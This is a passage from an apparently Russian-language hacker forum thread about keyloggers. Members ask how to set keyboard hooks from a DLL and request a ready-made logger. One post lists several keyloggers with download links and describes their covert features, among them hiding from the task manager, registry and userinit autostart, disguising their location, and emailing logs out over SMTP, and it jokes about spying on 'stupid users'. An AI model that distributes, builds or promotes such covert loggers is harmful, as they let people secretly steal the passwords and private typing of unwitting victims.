    Last edited: 27 Apr 2008
  16. FLIER

    FLIER Banned

    Joined:
    25 Feb 2008
    Messages:
    38
    Likes Received:
    0
    Reputations:
    0
    А Сорцы билдера почему не выложил ? есть ошибки,что-то забыл добавить..или удалил лишнее..:(
     
  17. Dr.KoD

    Dr.KoD Elder - Старейшина

    Joined:
    1 Mar 2008
    Messages:
    68
    Likes Received:
    22
    Reputations:
    1
    Все там работает, включаем мозги!!!
     
  18. Juda

    Juda Elder - Старейшина

    Joined:
    2 Aug 2008
    Messages:
    48
    Likes Received:
    8
    Reputations:
    0
    У меня вопрос. Можно ли весь код Кейлогера(используюя хуки) на Си или на Асм запихнуть в Dll. Чтоб Dll была полностью самостоятельна. С толкнулся с проблемой, когда приложение ставит хук, а функция для отлова клавиш находится в DLL то все работает хорошо. Но когда Dll сама ставит хук, то не фига не работает и ошибок нет. В чем прикол?
     
  19. SlyBit

    SlyBit Elder - Старейшина

    Joined:
    4 Jul 2008
    Messages:
    49
    Likes Received:
    8
    Reputations:
    0
    + к коллекции:

    ===============================
    Название: Kbd sniffer 1.2
    Автор: Del
    Язык: C++
    Компилятор: Borland C++ Builder 5
    Описание: Прога для наблюдения за глупыми юзерами:) Записывает в файлик всё, что нажимали на клаве.
    Для работы сниффера нужно 2 файла: winsock.exe (сниффер) и hook.dll
    Что бы он начал свою работу просто запустите его.
    Прога не имеет окна и скрываеться от 3-х педалей, так что сходу её в Виндах не найдёшь. Но при желании конечно найти можно:)
    При старте сниффер скрывает себя от Ctrl-Alt-Del, прописывает автостарт в реестре HKCR\Sostware\Microsoft\Windows\Current Version\Run - winsock и начинает запись всех нажатых клавишь в C:\Windows\System\gdi32.snf
    Если папка винды не C:\Windows, а другая, не переживайте - сниффер всё равно её найдёт и запишет лог клавы куда надо.
    Если надо писать в другое место (например диск C:\ не разшарен) укажите путь к лог файлу в коммандной строке сниффера.
    Например: winsocket.exe D:\Vasya\klav_log.txt
    Для того чтобы удалить запись о автозапуске сниффера из реестра, достаточно запустить unistall.exe (идёт в одном архиве со сниферром).
    Прога написана на C++Builder 5.0 с использованием средств WindowsAPI. Тестировалась в win98se и WinME. Глюков не создавала.
    Вместе со сниффером поставляеться конвертер его логов. Он выкидывает из логов всё кроме самого текста. Пароли, конечно, так не узнаешь, а просто читать гораздо приятнее:)
    [Скачать]
    ===============================
    Название: KidLogger
    Автор: Teslain
    Язык: C++
    Компилятор: VisualC++ 6.0
    Описание: Teslain Kid logger (v. 1.0 with source code). Log your kid activity on the computer.
    Designed for Home users to keep watch on kids (2-7 years) activity.
    This programm to not containt spyware/adware modules. This is simple key logger that do not protect himself from being deleted by user.
    [Скачать]
    ===============================
    Название: keyhook
    Автор: ?
    Язык: С++
    Компилятор: Visual Studio
    Описание:
    +Простой кейлог с названием окна и нажатых клавиш.
    +Копирует себя в директорию с WindowsMediaPlayer(Сам придумал для беспаливности)
    +Загружаеться через userinit
    +Шлет лог каждые n байт в сорце поставил 1100(отправка smtp на сокетах,к сожалению без фильтрации ошибок)
    Написан на С++ чистом ВинАпи.
    [Скачать]
    ===============================
    Название: SpySystem
    Автор: ?
    Язык: C++
    Компилятор: VisualC++ 6.0
    Описание: Программа ведет два лог файла:
    1-й кейлог(пишет все нажатия клавиш)
    2-й буфферлог(пишет лог всякий раз,когда в буфере обмена появляется текст)
    При запуске прописывается в автозапуск!
    висит в трее.
    О настройках:
    SpySystem.ini
    PathBuf-прописать полный путь до папки куда хотим вести лог буффера обмена.
    PathKey-прописать полный путь до папки куда хотим вести лог кейлогера.
    [Скачать]
    ===============================
     
    #19 SlyBit, 4 Aug 2008
    Last edited: 4 Aug 2008
  20. Scripter

    Scripter Member

    Joined:
    3 Sep 2008
    Messages:
    141
    Likes Received:
    95
    Reputations:
    6
    Может кто-нибудь выложить готовый простенький кейлоггер, который бы писал всё в .txt рядом, автозапуск можно и самому прописать... заранее спасибо
     
    #20 Scripter, 28 Sep 2008
    Last edited: 28 Sep 2008
Thread Status:
Not open for further replies.